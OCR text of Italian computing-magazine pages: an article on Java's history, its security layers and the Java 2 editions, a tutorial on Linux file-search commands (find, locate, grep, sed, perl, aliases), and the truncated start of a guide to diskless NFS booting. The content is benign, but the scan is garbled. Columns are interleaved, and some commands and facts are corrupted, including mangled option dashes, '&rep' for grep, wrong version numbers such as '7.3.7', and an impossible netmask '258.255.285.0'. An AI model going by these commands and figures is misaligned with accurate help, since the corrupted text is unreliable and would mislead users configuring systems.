piattaforme diverse senza dover necessariamente riscrivere il codice. 


el mondo Java 
si è detto e scrit- 
to moltissimo. 
Cercheremo, in 


questo articolo, di capire 
meglio come abbia fatto 
la piattaforma a diventa- 
re così popolare e quali 
sono stati gli accorgi- 
menti introdotti per 
gestire la sicurezza nelle 
reti. Vedremo poi breve- 
mente quali edizioni 


° 
0000 
5888 11310 2002 


della piattaforma sono 


state messe a disposizio- 


ne per poter scegliere 
quella che meglio si 


adatta alle nostre esigen- 


ze. A partire dal prossi- 
mo numero, invece, 
vedremo come installare 
l'edizione standard del 


linguaggio ed analizzere- 


mo i tool meno cono- 


sciuti messi a disposizio- 


ne insieme al pacchetto 


principale. 


Il successo 
di Java 


Dalla sua introduzione il 
23 maggio 1995, la 
piattaforma Java è stata 
adottata nell'industria più 
velocemente di qualsiasi 
altra nuova tecnologia 


nella storia dei computer. 
Tutti i Maggiori produttori 
integrano la tecnologia 
Java come componente 
principale dei loro 
prodotti. Alcune 
specifiche (come 
JavaPhone API) sono stati 
adottati come standard 
GSM dall'istituto di 
standardizzazione delle 
telecomunicazioni 
europee. Altre invece 


(come la tecnologia 
JavaCard) sono diventate 
standard mondiali per la 
comunicazione cellulare. 
Ultimamente anche nel 
campo della televisione 
via cavo (DVB - Digital 
Video Broadcasting) sono 
stati adottati degli stand- 
ard basati sulla tecnologia 
Java. A cosa è dovuto 
tutto questo successo? Per 
capirlo facciamo un passo 
indietro nel tempo. Nel 
1995, al Web mancava la 
possibilità di interagire 
rapidamente con le 
pagine, caratteristica 
ormai comune al giorno 
d'oggi. La quasi totalità 
delle pagine presenti sul 
web erano statiche o al 


esterni come gli helper o i 
plug-in. La risposta ad 
entrambi questi problemi 
venne dalla Sun con 
l'introduzione di Java e 
precisamente degli applet. 
Nelle pagine venne 
introdotto un 
collegamento (il tag 
<APPLET>) ad un 
programma scritto in Java 
detto applet. Durante il 
caricamento della pagina 
contenente questo tag 
veniva scaricato anche il 
codice “eseguibile” 
dell’applet che veniva poi 
mandato in esecuzione sul 
browser all'interno della 
pagina. Il linguaggio poi si 
evolse fino ad arrivare ai 
giorni nostri. 


| Default 


(scossi) (at 3} (see {E JRE 1.3 


Cas 3 Cad CI Ea 
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Figura 1 
L’SDK versione 1.3 relativo alla piattaforma Java 2. 


massimo contenevano 
delle form e dei piccoli 
programmi CGI per 
l'interazione con la pagina. 
Inoltre, la crescente 
apparizione di nuove 
tipologie d'informazione 
da gestire e di nuovi 
servizi da offrire al grande 
pubblico rendeva 
problematico 
l'aggiornamento dei 
browser: bisognava 
decidere se ampliare le 
loro funzionalità oppure 
ricorrere a strumenti 


Originariamente il 
progetto (dei primi anni 
‘90) era chiamato OAK ed 
era destinato alla 
produzione di software 
per gli elettrodomestici 
connessi in rete; era 
progettato per essere 
indipendente dalla 
piattaforma di calcolo e 
per consentire una 
esecuzione senza rischi 
per l'attrezzatura di 
destinazione. Solo nel 
1995 venne orientato 
verso il web senza però 


S © if 


tralasciare il progetto 
originario che oggi si 
chiama JINI. 

Il segreto stava nella 
semplicità del progetto in 
cui inizialmente hanno 
creduto in pochi. Non 
appena le prime grosse 
società si resero conto 
delle enormi potenzialità 
dello strumento ed 
iniziarono ad integrare nei 
loro progetti la tecnologia 
Java, la popolarità della 
piattaforma esplose 
letteralmente (si veda il 
caso di Netscape, che in 
anticipo rispetto a tutti, 
integrò nel suo browser 
una Virtual Machine per 
l'esecuzione degli applet). 
Le componenti principali 
del progetto (accennate 
nel numero scorso della 
rivista) sono: 


e il linguaggio Java: è 
general-purpose, 
orientato agli oggetti, 
portabile, fortemente 
tipato, multithreading, 
robusto e facile da 
imparare; 


e un compilatore da 
Java a bytecode: 
traduce i sorgenti 
(.java) in uno o più file 
di tipo bytecode 
(.class) che viaggiano 
poi sulla rete per 
essere eseguiti. | file 
.class sono composti 
da uno stream di byte 
(8-bit) in cui le quantità 
multibyte vengono 
memorizzate, 
indipendente dalla 
piattaforma di calcolo, 
in big-endian order (il 
byte più significativo è 
memorizzato a 
sinistra); 


© un interprete di 


t 


DNSUMER 


bytecode cioè la 
macchina virtuale Java 
(JVM - Java Virtual 
Machine): è un 
dispositivo di calcolo 
astratto, dotato di un 
proprio set di istruzioni 
macchina (dipendenti 
dalla piattaforma di 
calcolo) con cui 
istruisce la macchina 
reale per l'esecuzione 
dei comandi contenuti 
nel bytecode; 


Da notare che attualmente 
i file .class vengono 
ottenuti compilando 
codice Java ma questo 
non fa parte delle 
specifiche della macchina 
virtuale. È possibile 
utilizzare anche altri 
linguaggi di 
programmazione per 
produrre file .c/ass (purchè 
rispettino le specifiche 
della JVM) e non è 
escluso che in futuro 
possano cominciare a 
diffondersi anche questo 
tipo di strumenti. Anche il 
progetto di realizzare la 
JVM in hardware non è da 
sottovalutare dato che 
determinerà un 
incremento notevole delle 
prestazioni. 


La sicurezza 
di Java 


Le reti, si sa, sono insicure 
per definizione. Proprio 
per questo, nel progetto 
del linguaggio e della 
macchina virtuale, è stata 
posta una grande 
attenzione ai problemi di 
sicurezza derivanti dal 
fatto che sulla nostra 
macchina poteva essere 
eseguito il codice 


contenuto negli applet 
provenienti da fonti ignote 
(e quindi potenzialmente 
non afidabili). In una 
situazione del genere non 
è difficile ipotizzare 
scenari altamente 
distruttivi come quelli di 
applet che una volta 
mandati in esecuzione 
cancellano i file di sistema 
rendendo inutilizzabile la 
macchina, oppure cifrano 
tutte le informazioni 
contenute nel disco 
chiedendo poi un 
pagamento per ottenere la 
chiave di decifratura. Tutto 
questo non si è mai 
verificato grazie a 4 livelli 
di sicurezza che sono stati 
pensati nel linguaggio e 
nella macchina virtuale. Il 
primo livello è garantito 
dal linguaggio che, tra le 
sue caratteristiche, vanta 
tre sistemi di sicurezza 
impliciti: è fortemente 
tipato (tutte le variabili 
devono essere dichiarate 
ed utilizzate in base alla 
dichiarazione), effettua 
controlli sui limiti degli 
array (non è possibile 
aggiungere il decimo 
valore ad un array lungo 
9) ed infine non ha 
puntatori (a differenza del 
linguaggio C). In questo 
modo non sarà possibile 
accedere a zone di 
memoria esterne a quelle 
allocate all’applet. È 
ipotizzabile però che 
qualcuno modifichi un 
compilatore C per 
produrre bytecode in 
modo da evitare i controlli 
effettuati dal linguaggio 
Java. Per evitare questo 
inconveniente, interviene 
il secondo livello di 
sicurezza garantito dalla 
macchina virtuale che 
incorpora al suo interno 


quello che viene chiamato 
bytecode verifier (un 
verificatore di file 
bytecode). Prima di 
mandare in esecuzione il 
file .class, la JVM verifica 
che non si cerchi di 
costruire puntatori, non si 
cerchi di chiamare metodi 
utilizzando parametri non 
validi, non si cerchi di 
utilizzare variabili non 
inizializzate. Il terzo livello 
è rappresentato dal c/ass 
loader (il caricatore dei file 
bytecode) che impedisce 
alle classi definite 
dall'utente nel codice di 
sostituirsi a quelle di 
sistema per aggirare i 
meccanismi di sicurezza. 
In pratica si impedisce alle 
classi utente di essere 
caricate prima di quelle di 
sistema. Il quarto e ultimo 
livello di sicurezza è 
rappresentato dal security 
manager (una classe di 
sistema particolare) che 
ha il compito di stabilire 
che cosa può fare un 
applet o una applicazione. 
I browser, che devono 
eseguire gli applet 
all'interno delle pagine, 
caricano all'avvio un 
security manager molto 
restrittivo che impedisce 
agli applet di accedere al 
file system locale, di 
aprire connessioni di rete 
con computer diversi da 
quello di provenienza e di 
eseguire altri programmi. 
In questo modo gli applet, 
dalla zona di memoria 
loro riservata, non 
possono causare danni al 
sistema. Le applicazioni 
locali, invece, vengono 
eseguite senza alcun 
security manager. A 
partire dalla versione 1.2 
del JDK, l'utente può 
anche specificare un 


security manager diverso 
da quello predefinito, 
consentendo quindi di 
estendere le capacità 
iniziali, ma potenzialmente 
anche di creare molti 
danni. 


Le edizioni della 
Java 2 Platform 


Uno dei tanti pregi della 
Sun Microsystems è 
quello di intuire in 
anticipo le esigenze degli 
sviluppatori. Una delle più 
famose intuizioni è 
rappresentata dal 
paradigma “una sola 
misura non si adatta a 
tutti” che ha portato alla 
nascita delle tre diverse 
edizioni della piattaforma 
Java 2, ognuna delle quali 
comprendente solamente 


Platform Micro Edition 
(J2ME - pronunciato ‘java 
to me’. Cerchiamo di 
capire meglio a quali 
ambienti sono destinate 
queste vere e proprie 
tecnologie. 


e J2SE: consente lo 
sviluppo di applicazioni 
di tipo enterprise da 
eseguirsi sul lato client 
e fornisce caratteristi- 
che come velocità e 
affidabilità che di solito 
vengono richieste dagli 
utenti Internet. Gli 
utenti finali potranno 
beneficiare di una 
maggior velocità e 
semplicità di utilizzo 
delle applicazioni 
basate sul web come le 
intranet aziendali e le 
funzionalità di com- 
mercio elettronico. Gli 
utenti enterprise, inve- 


Java" 2 Platform, Micro Edition 
(J2ME"* Platform) 


Figura 2 


Le edizioni disponibili della piattaforma Java 2. 


gli strumenti di sviluppo 
necessari per la realizza- 
zione di applicazioni di un 
certo tipo. Le tre edizioni 
sono state chiamate: 
Java 2 Platform Standard 
Edition (J2SE), Java 2 
Platform Enterprise 
Edition (J2EE) e Java 2 


ce, potranno sfruttare 
questa tecnologia per 
la creazione di 
applicazioni più 
sofisticate che 
potranno essere 
introdotte sul mercato 
in tempi più rapidi 
rispetto a quelli 


tradizionali; 


J2EE: può essere 
considerata 
un'estensione di J2SE 
(in gergo matematico, 
un superinsieme 
proprio) che aggiunge 
le funzionalità 
necessarie allo 
sviluppo di 
applicazioni server- 
based e precisamente 
dei componenti detti 
Enterprise Java Bean 
(EJB) che sono 
modulari, 
standardizzati e 
riutilizzabili. Gli 
automatismi dei 
compiti più difficili 
dello sviluppo di una 
applicazione, 
consentono di 
concentrarsi sulla 
logica del programma 
piuttosto che sulla 
costruzione della sua 
infrastruttura. | servizi 
più importanti offerti 
oltre a EJB sono le 
Java Server Page 
(pagine web ottenibili 
su richiesta), le Servlet 
(applet eseguibili lato 
server) e il pacchetto 
di accesso ai database 
JDBC; 


J2ME: si occupa dello 
sviluppo delle 
applicazioni 
funzionanti in tutti quei 
dispositivi 
estremamente piccoli 
come le smart card o Ì 
telefonini e che fanno 
ormai parte della 
nostra vita quotidiana. 
La rapidità di sviluppo 
a basso costo e il 
sempre crescente 
interesse verso questi 
servizi permette ai 
produttori, ai fornitori 


di servizi e agli 
sviluppatori di ottenere 
un elevato grado di 
soddisfazione del 
cliente grazie 
all'introduzione di 
applicazioni sempre 
più innovative. Il fatto 
che nel 2003 si stima 
che in Giappone (e 

. successivamente in 
Europa) i telefonini 
Java-enabled saranno 
più del 40% la dice 
lunga sulle potenzialità 
di J2ME. 


Tutte le edizioni che Sun 
mette a disposizione sono 
estremamente modulari, 
infatti è sempre possibile 
accrescere le funzionalità 
dell'edizione standard 
installando separatamente 
alcuni pacchetti previsti 
per l'edizione enterprise 
senza dover 
necessariamente installare 
tutta l'edizione enterprise 
completa. Lo stesso vale 
per l'aggiunta di pacchetti 
attualmente non previsti 
in nessuna delle edizioni 
ma liberamente scaricabili 
dal sito Sun (come per 
esempio Java 3D e 
moltissimi altri). 


Unpo di |, 
chiarezza sul 
nomi 


Sun ha cominciato ad 
utilizzare il nome “Java 2” 
nel dicembre 1998 quando 
ha rilasciato la prima 
piattaforma tecnologica 
sviluppata sotto questo 
marchio: il /DK 7.2 (Java 
Development Kit versione 
1.2). Da quel momento le 
tecnologie sviluppate da 


Sun, in ambiente Java, 
seguono questo semplice 
schema: 


e Java" 2 Platform: 
con questo nome si 
indica una piattaforma 
astratta, ovvero la 
tecnologia e/o 
l'ambiente descritto 
nelle specifiche della 
Sun. Per esempio, 
l'implementazione 
delle specifiche della 
Java®M 2 Platform 
versione 7.3.7 è 
rappresentata dal 
JavaTM 2 SDK 
(Software 
Development Kit) 
versione 7.3.7 che è il 
prodotto che può 
essere scaricato e 
installato; 


e Java" 2 SDK: con 
questo nome, come 
descritto nel 
precedente punto 
elenco, si indica 
l'implementazione 
delle specifiche 
tecniche della 
piattaforma. L'SDK 
rappresenta un kit 
completo per lo 
sviluppo software che 
può essere utilizzato 
per costruire 
applicazioni per la 
piattaforma Java 2. 
Comprende un 
compilatore, 
l'ambiente runtime (il 
JRE di cui si è parlato 
ampiamente nel 
numero precedente 
della rivista) e dei tool 
aggiuntivi che 
vedremo in seguito. 
Precedentemente 
all'introduzione del 
marchio questo 
prodotto si chiamava 
semplicemente JDK?M 


e si è passati nel 
tempo dalla versione 
1.0.x, alla 7.7.x, per 
arrivare alla 7.2.x ed 
oggi alla 7.3.x; 


e Java" 2 Runtime 
Environment: con 
questo nome si indica 
l'ambiente runtime 
necessario per 
l'esecuzione delle 
applicazioni scritte per 
la piattaforma Java 2 
ed è comprensivo della 
Java Virtual Machine 
ma non dei tool di 
sviluppo. 


A queste sigle può essere 
tranquillamente aggiunto 
l'acronimo ‘SE’ che 
rappresenta la Standard 
Edition oppure ‘EE’ che 
rappresenta la Enterprise 
Edition. Seguendo queste 
semplice regole non sarà 
difficile capire la 
differenza tra J2SE e 
J2EE, rispettivamente 
Java”M 2 Platform 
Standard Edition e Java”M 
2 Platform Enterprise 
Edition. | nomi delle 
vecchie versioni del 
linguaggio, il /JDKTM 7.0.x 
e il UDKÎM 1.1.x, non 
hanno subito modifiche 
ed è quindi ancora 
possibile riferirsi ad essi 
con i loro nomi originali. 


Conclusioni 


Il fatto che l'SDK viene 
giornalmente scaricato (e 
crediamo anche installato) 
da più di 10.000 utenti è 
un dato che deve far 
riflettere. Appuntamento 
al prossimo numero della 
rivista per l'installazione 
di J2SE. 

Carlo Vasselli 
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Consume 


Quante volte vi sarà 
capitato di non trovare 
più un certo documento 
o un file? In questi casi 
è tipico tentare di 
“scovare” il file 
andando a cercarlo 
nelle diverse directory, 
con il comando Is, ed 
editando i file che 
sembrano più 
“promettenti”. 

Però questa è, come 
ben saprete, una 
soluzione non ottimale: 
Si rischia di sprecare 
tantissimo tempo. 
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Alla ricerca del 
file perduto! 


Linux, il nostro beneamato pinguino, mette a 
disposizione strumenti (sotto forma di comandi) che ci 
aiutano a reperire l'informazione “dimenticata”. 


Cosa cercare? 


Per prima cosa è necessa- 
rio chiarirsi le idee su cosa 
cercare. Si ricorda il nome 
del file ma non dove lo si è 
scritto? Oppure si ricorda 
parte del suo contenuto? 
Almeno la sua estensione? 
Queste informazioni ci gui- 
dano a scegliere lo stru- 
mento maggiormente adat- 
to alla nostra ricerca. 

In particolare potremmo 
pensare a due categorie di 
ricerca: una se ricerchiamo 
caratteristiche “esterne” al 
file (come il suo nome, o 


parte di esso, la sua dimen- 


sione, la sua ultima modifi- 
ca e così via), l'altra se cer- 
chiamo informazioni che 

riguardano il suo contenuto 
(e che per comodità defini- 
remo caratteristiche “inter- 


ne"). Nel primo caso (carat- 


teristiche “esterne”) gli 
strumenti che possiamo 
usare sono find, locate, 
which. Nel secondo caso 


(caratteristiche “interne”) 
dovremo far ricorso a stru- 
menti che ci permettono di 
fare del “pattern matching” 
sul contenuto o comandi 
che analizzano il suo conte- 
nuto; gli strumenti che ci 
possono essere d'aiuto 
sono grep, file, sed, perl. 
Vediamo nel dettaglio come 
usare ciascuno degli stru- 
menti menzionati. 


Find 

Questo comando permette 
di cercare un certo file di 
cui si ricorda il nome (o 
parte di esso) ma non dov'è 
memorizzato. È necessario 
specificare il directory tree 
dove effettuare la ricerca 
(con il termine directory 
tree si intende la directory 
specificata più tutta la parte 
di file system raggiungibile 
dalle sottodirectory in essa 
contenute, si veda la Figura 
1 per un esempio). Per spe- 


cificare il nome del file (che 
può essere composto 
anche dai caratteri jolly ‘*'e 
‘?’) è possibile usare l'op- 
zione —-name seguita dal 
nome che si vuole ricerca- 
re. Affinché il risultato della 
ricerca sia stampato a video 
è necessario specificare 
l'opzione —print. 

Volendo quindi cercare un 
qualsiasi file che inizia per 
“compleanno” e termina 
con “txt", su tutto il file 
system, stampando il risul- 
tato della ricerca, è possibi- 
le eseguire il comando: 


find / -name 
“compleanno*txt” —print 


Il commando find non si 
limita a trovare file con il 
nome che corrisponde a 
certe caratteristiche, ma 
può essere usato anche per 
trovare file di dimensioni 
specificate. Il seguente 
comando trova tutti i file la 
cui dimensione è più gran- 


de di 100 kilobyte e la cui 
posizione è nella directory 
corrente o in una sua sotto- 
directory: 


find . —size +100k 


Oppure, per trovare quei 
file della directory /tmp che 
sono stati modificati più di 
15 giorni fa (e quindi si pre- 
suppone non aggiornati e 
non più necessari): 


find /tmp —mtime +15 - 
daystart 


Oppure, per cercare quei 
file presenti sotto /usr e 
che appartengono all'utente 
Rossi. 


find /usr —user Rossi 


Come si capisce da questi 
esempi, le opzioni sono 
davvero tante. Anche se è 
difficile ricordarsele tutte, 
vale la pena di leggere la 
documentazione per ren- 
dersi conto delle molteplici 
possibilità (man find). 


Locate 


Se avete provato a fare una 
ricerca con il comando find 
/-name “compleanno*txt” 
—print, vi rendete conto che 
tale ricerca è piuttosto 
lenta. 

Questo accade perché il 
comando find effettua una 
scansione file per file scen- 
dendo attraverso tutta la 
gerarchia del directory tree 
specificato (nell'esempio la 
root directory, e quindi va a 
cercare | file su tutto il file 
system!). Come migliorare 
la situazione ed ottenere lo 
stesso risultato? Usando 
locate! Infatti eseguendo il 
comando: 


locate “compleanno*txt” 


otterrete lo stesso risultato 
(o quasi, come vedremo) 
del comando precedente, 
ma con una notevole dimi- 
nuzione del tempo di rispo- 
sta. Il motivo è che questo 
comando usa un “indice” 
interno per ritrovare i file (e 
pertanto è molto più velo- 
ce). Purtroppo non è detto 
che tale indice sia aggiorna- 
to. Infatti esso può essere 
aggiornato solo dall'ammini- 
stratore del sistema. Essen- 
do l'operazione di aggiorna- 
mento una operazione 
lunga, essa viene fatta di 
tanto in tanto in momenti in 
cui il sistema viene usato 
poco (tipicamente nelle ore 
notturne). Se il file system 
è stato modificato, l'indice 
interno non si avvede di 
tale modifica fintanto che 
non viene riaggiornato. At- 
tenzione: le ricerche effet- 
tuate attraverso il comando 
locate non sono “case sen- 
sitive” (pertanto ignorano le 


usr “a Rin 


home 
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differenze dovute a caratteri 
maiuscoli o minuscoli). 


Which 


Vi siete mai chiesti quale 
comando viene mandato in 
esecuzione quando digitate 
“Is”? Come fare per sco- 
prirlo? Basta digitare il 
comando: 


which ls 


L'utilità di tale comando si 
apprezza quando si cono- 
sce, per esempio, il nome 
di un nostro script (che ma- 
gari usiamo di frequente) e 
che vogliamo modificare, 
ma di cui non ricordiamo 
dove lo abbiamo salvato! 
Usando questo comando la 
sua localizzazione è imme- 
diata. 


Questo comando analizza il 
contenuto dei file e riporta 


Evidenziato un ipotetico directory tree identificato da /home. 


Consumer 


una descrizione (sommaria) 
del tipo del suo contenuto. 
Per esempio, prendendo tre 
file a caso sul mio compu- 
ter ed eseguendo il coman- 
do: 


file slides.txt index.html 
CorsoC.zip 


ottengo questo risultato: 


slides.txt: International 
language text 
index.html: HTML 
document text 
CorsoC.zip: Zip archive 
data, at least v1.0 to 
extract 


Grep 


Grep è un potentissimo 
strumento per analizzare il 
contenuto dei file. Esso 
permette di specificare 
cosa cercare e in quali file. 
In particolare è possibile 
specificare il “cosa” attra- 
verso espressioni regolari 
(si veda Riquadro 1), e spe- 
cificare il nome dei file dove 
cercare anche attraverso 
caratteri jolly. Inoltre, si pos- 
sono sfruttare le potenzia- 
lità della shell di Linux per 
“comporre” grep con altri 
comandi (esempi concreti 
saranno proposti nella parte 
finale dell'articolo). Per tro- 
vare la stringa “complean- 
no” su tutti i file che termi 
nano con “txt”, nella direc- 
tory corrente, si può usare l 
comando: 


&rep compleanno *txt 


Non sempre si vuole fare 
un pattern matching “esat- 
to", soprattutto per quanto 
riguarda caratteri maiuscoli 
o minuscoli. In tal caso è 
necessario specificare l'op- 


Consumer 


Espressioni regolari: breve rassegna. 


zione -i. Volendo trovare 
anche le occorrenze di 
“compleanno” ignorando 

se i caratteri sono minuscoli 
0 maiuscoli (quindi si vuole 
trovare anche i file che con- 
tengono “Compleanno” o 
“COMPLEANNO ") si può 


perciò ricorrere al comando: 


grep —i compleanno *txt 


Esistono numerose altre 
opzioni, che vi invito ad 
approfondire usando il 
manuale in linea (comando 
man grep, oppure info 
grep). Esistono due varianti 
di questo comando, e sono 
egrep ed fgrep. ll comando 
egrep è simile (non identi- 
co) al comando grep con 
l'opzione —E (egrep mantie- 
ne una equivalenza con un 
comando omonimo presen- 
te nei sistemi Unix). Serve 
per poter far uso di espres- 
sioni regolari particolari, 
chiamate “estese” (hanno 
una sintassi diversa da 
quelle standard). Invocare 
fgrep equivale invece ad 
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invocare grep con l'opzione 
—F. In questo caso la stringa 
per eseguire il pattern mat- 
ching viene interpretata 
come una lista di stringhe 
(fisse), separate dal caratte- 
ri “new line”; di ciascuna 
delle quali viene cercata 
l'occorrenza. 


Sed, Perl, ... 


Esistono molti altri stru- 
menti per analizzare il con- 
tenuto dei file. Per esempio 
esiste il comando sed. Esso 
è uno stream editor, ovvero 
riceve i dati dal suo stan- 
dard input, processando 
linea per linea. Le linee 
lette vengono salvate su un 
buffer interno (chiamato 
pattern buffer) e il risultato 
dei comandi specificati (su 
tali linee) vengono scritte 
sullo standard output. È 
possibile far leggere il con- 
tenuto di file usando il mec- 
canismo di pipeline. Anche 
sed fa uso di espressioni 
regolari. Il comando: 


sed —n —e ’/compleanno/ 
p’ /home/mio/pippo.txt | 
more 


Stampa, a video, tutte e 
sole le linee del file 
/home/mio/pippo.txt che 
contengono la stringa 
“compleanno”. Per 
approfondire l'uso del 
comando sed consiglio 
(oltre al solito manuale in 
linea) la serie di articoli 
“Sed by example” di Daniel 
Robbins presenti sul sito 
developerWorks di IBM (si 
veda http://\www.ibm.com/ 
developerworks/library/ 
--sed1.html). 

Volendo si possono sostitui- 
re le occorrenze di una 
certa stringa (per esempio 
“Ivan Venuti” di un file 
(esempio.txt) con un'altra 
stringa (come “Dott. Ivan 
Venuti”), e salvare il risulta- 
to in un nuovo file 
(nuovo.txt), attraverso il 
comando: 


sed ‘s/Ivan Venuti/ 
Dott. Ivan Venuti/ 


&' esempio.txt > 
nuovo.txt 


Per questo scopo può esse- 
re usato anche l'interprete 
perl (ma potendo scegliere 
indifferentemente quale 
comando usare, è da prefe- 
rire sed, in quanto richiede 
molte meno risorse): 


perl —pi —e “s/ 
Ivan Venuti/Dott. Ivan 
Venuti/g;” esempio.txt 


Le sostituzioni avvengono 
nel file da dove viene letto 
l'input (in questo caso nel 
file esempio.txt). 


Comandi 
composti e 
alias 


Ora che si è visto l'utilizzo 
dei principali comandi di 
Linux per ricercare un parti- 
colare file, si possono vede- 
re esempi avanzati che uti- 
lizzano tali comandi. Per 
esempio si potrebbero 
ricercare tutti i file che con- 
tengono la stringa “compu- 
ter” con: 


find / -type f -print | 
xargs grep —i computer 


Come si vede l'uso di 
comandi composti permet- 
te di effettuare ricerche 
complesse e sofisticate. 
L'inconveniente maggiore è 
nella lunghezza e nella com- 
plessità dei comandi con 
tutti gli argomenti appro- 
priati. E per questo che è 
conveniente memorizzare i 
comandi composti di mag- 
gior utilizzo per poterli ese- 
guire senza ri-digitare tutto. 
Le due alternative principali 
sono creare uno script shell 
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Articolo “ Finding Stuff": approfon- 


| disce l'uso del comando find 


WWW. w.linuxjournal. com/article.php?sid=1180 


Altro articolo (“Finding files and i 
more") sull'uso del comando find 
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Corso introduttivo su Unix che trat- 
ta anche il problema di reperire 
informazioni presenti sui file 


Riquadro 2: 
Link utili per approfondire i temi trattati. 


oppure creare un alias. Nel 
primo caso si Memorizza il 
comando in un file a cui si 
danno gli appropriati per- 
messi di esecuzione. 
Dopodiché, in base alla 
posizione del file e ai suoi 
permessi, esso potrà esse- 
re eseguito da chi è autoriz- 
zato ad usarlo. Nel secondo 
caso è necessario digitare il 
seguente comando dalla 
shell: 


alias nome=’comando’ 


Per esempio potete inserire 
il seguente alias: 


alias vuoti=’find . -««mpty 
—print’ 


e, digitando “vuoti” dalla 
shell, appariranno tutti i file 
che, a partire dalla directory 
corrente, hanno dimensio- 
ne uguale a 0 (attenzione a 
non aggiungere spazi vuoti 
tra il nome del comando, il 


simbolo “= 
apice!). 
Questo va bene per 
comandi che pensate di 
usare di frequente solo 
nella sessione corrente. 


“e il primo 
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Se invece pensate che tale 
alias vi sia utile anche in 
futuro, allora è necessario 
renderlo “Permanente” 
andando ad editare il file di 
configurazione della shell. 
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Nel caso si usi la bash shell 
si editi il file .bashrc pre- 
sente nella propria home 
directory (è quella in cui 
entrate appena fatto il 
login, e la potete conoscere 
digitando “cd ; pwd"). 


Conclusioni 


Sappiamo bene che i con- 
tenuti del presente articolo 
necessitano di molta prati- 
ca per essere appresi e 
usati con profitto, ma lo 
scopo era quello di presen- 
tare gli strumenti più adatti 
per ricercare certe informa- 
zioni: nel momento in cui 
avrete la necessità di 
affrontare questo problema 
saprete almeno che 
comandi guardare e 
approfondire. 
Per concludere nel 
Riquadro 2 sono presentati 
alcuni link utili che trattano 
la problematica di ricercare 
informazioni sul file 
system. 
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Una Rete diskless sarà 
formata da: 


“UN SETVEr 


«client senza hard disk 
(diskless) 


| passi da compiere per 
portare a termine la 
configurazione di una 
rete di questo tipo non 
sono banali ma, vedrete, 
che alla fine ne sarà 
valsa la pena. 


(e) 


Diskless 
via NFS 


Vogliamo centralizzare la rete obbligando i terminali 
dislocati per l'ufficio a dipendere da un singolo server 
senza ricorrere all'utilizzo di software esoterico? Si? 


sistono tre differenti 
approcci per la 
costruzione di una 
rete diskless: 


1 acquisto di schede 
ethernet aventi eprom 
programmate al boot di 
rete; 

2. utilizzo di software free 
per la generazione di un 
bootcode da inserire 
all'interno di un floppy in 
modo da consentire il 
boot via rete (pacchetto 
Etherboot -http://ether- 
boot.sourceforge.net/ e 
pacchetto Netboot - 
http.//netboot.sourcefor- 
ge.netA); 

3. generazione di apposita 
immagine del kernel e 
utilizzo di questa in un 
floppy. 


In questo articolo conside- 
reremo questa ultima possi- 
bilità, cercando di snocciola- 


re, nel modo più compren- 
sibile, le modifiche da 
apportare alla nostra rete, in 
modo da rendere funzionale 
questo tipo di architettura. 


Teoria 


Teoricamente la costruzione 
di una rete di questo tipo 
passa attraverso 3 fasi: 


1 il server passa al client il 
kernel via NFS; 

2. il client monta, via 
ethernet, il file system 
con permessi rw (read 
and write); 

3 il sistema viene inizializ- 
zato (partenza init). 


Vediamo in dettaglio cosa 
accade sulla macchina ser- 
ver e sul client diskless. Il 
bootcode utilizzato all'intero 
del supporto magnetico 
(floppy nel nostro caso) 


consentirà al server di iden- 
tificare l'ethernet installata. 
Il client invierà sulla intranet 
una query contenente il 
MAC address (forma cano- 
nica 00:D0:59:08:97:E2) 
attendendo una risposta del 
server. L'inetd del server 
riconoscerà l'interrogazione 
del client diskless, portan- 
dola all'attenzione del 
demone dhcpd che: 


1 leggerà il proprio file di 
configurazione 
(/etc/dhcpd.conf); 

2. riconoscerà il MAC 
address della ethernet; 

3 invierà un reply al client 
diskless. 


Il bootcode riceverà il reply 
del server e, dopo aver con- 
figurato l'interfaccia di rete 
attraverso i parametri del 
file di configurazione di 
dhcpd, invierà un richiesta 
TFTP al server:inizia il 


download del kernel. 
Terminata la transazione, il 
sistema verrà inizializzato 
attraverso l'invio di una 
nuova richiesta in broadcast 
(lato client) che permetterà 
l'ottenimento di tutti i rima- 
nenti parametri del kernel 
(lato server). Terminate le 
comunicazioni, il client farà 
un mount, via NFS, della 
directory contenete il siste- 
ma operativo (lato server). 


Lato client 


Come prima cosa dobbiamo 
preoccuparci di creare il 
floppy di boot. Per fare que- 
sto sarà necessario allestire 
un kernel ad hoc (se a 
digiuno di compilazioni di 
kernel consiglio la lettura 
del Kernel HoW-TO consu- 
latabile all'url www.pluto. 
linux.it). Il kernel dovrà con- 
tenere le seguenti futures: 


Networking support. 
TCP/IP networking. 
Network device sup- 
port. 

NFS filesystem support. 
Root file system on 
NFS. 


Dove: 


Networking support: 
consente l'attivazione 
della gestione di rete. 
TCP/IP networking: pro- 
tocolli usati per la 
gestione di servizi di 
rete (usati sia per la 
connettività internet che 
intranet). Abilitando que- 
sta opzione verrà attiva- 
to il oopback' (questa 
sezione del kernel è 
piuttosto vasta e può 
variare notevolmente 
conforme alla versione 
di kernel montato dalla 


vostra distribuzione). 

e Network device sup- 
port: abilitazione delle 
interfacce di rete. 
Conforme all'hardware 
in nostro possesso 
dovremmo selezionare 
una delle schede ripor- 
tate in elenco (qualora 
aveste problemi con 


alcune ethernet vi consi- 


glio di controllare la 
compatibilità di queste 
con Linux controllando 
l'url: 


www.linhardware.com). 
e NFS filesystem support: 


permette di montare 
parte del file system di 
altro elaboratore con- 
sentendo la condivisio- 
ne dei dati (necessaria 
per il client). 
e Rootfile systemon 

NFS: permette l'export 


attraverso la rete del file 


system principale (pro- 
tocollo NFS). 


Abilitare queste features in 


modo monolitico, non 
modulare, per facilitare il 
proseguo del lavoro. 


Kernel 


Durante la fase di inizializza- 


zione del sistema, le mac- 
chine diskless devono riu- 


scire ad ottenere alcune 
informazioni per poter gesti- 
re: le interfacce di rete, l'in- 
stradamento e montare il 
file system. Si rende neces- 
sario, quindi, rendere opera- 
tivo il servizio di NFS. 

| passi da compiere sono: 


1 forzare il sistema ad uti- 
lizzare come file system 
principale le informazio- 
ne recepite via NFS; 

2. esprimere una directory 
di sistema che verrà poi 
utilizzata per ‘montare! il 
file system; 

3. definire informazioni tali 
da consentire il collega- 
mento di rete. 


Gli attributi da aggiungere 
saranno: 


root=/dev/nfs 
nfsroot=192.168.1.1:/tft 
pboot/192.168.1.2 
nfsaddrs= 
192.168.1.2:192.168.1.1 
:192.168.1.1:258.255.28 
5.0:diskless:eth0: 


Dove: 


e  ’nfsroot’sintassi'nfsroot 
=[ip_server]:/[directory_ 
radicel/lopzione_nfs]', ci 
permette di identificare 
una directory (nel nostro 
caso /tftpboot) da utiliz- 


/ 
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Possibili soluzioni per la creazione di reti diskiess. 
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zare come mount point; 

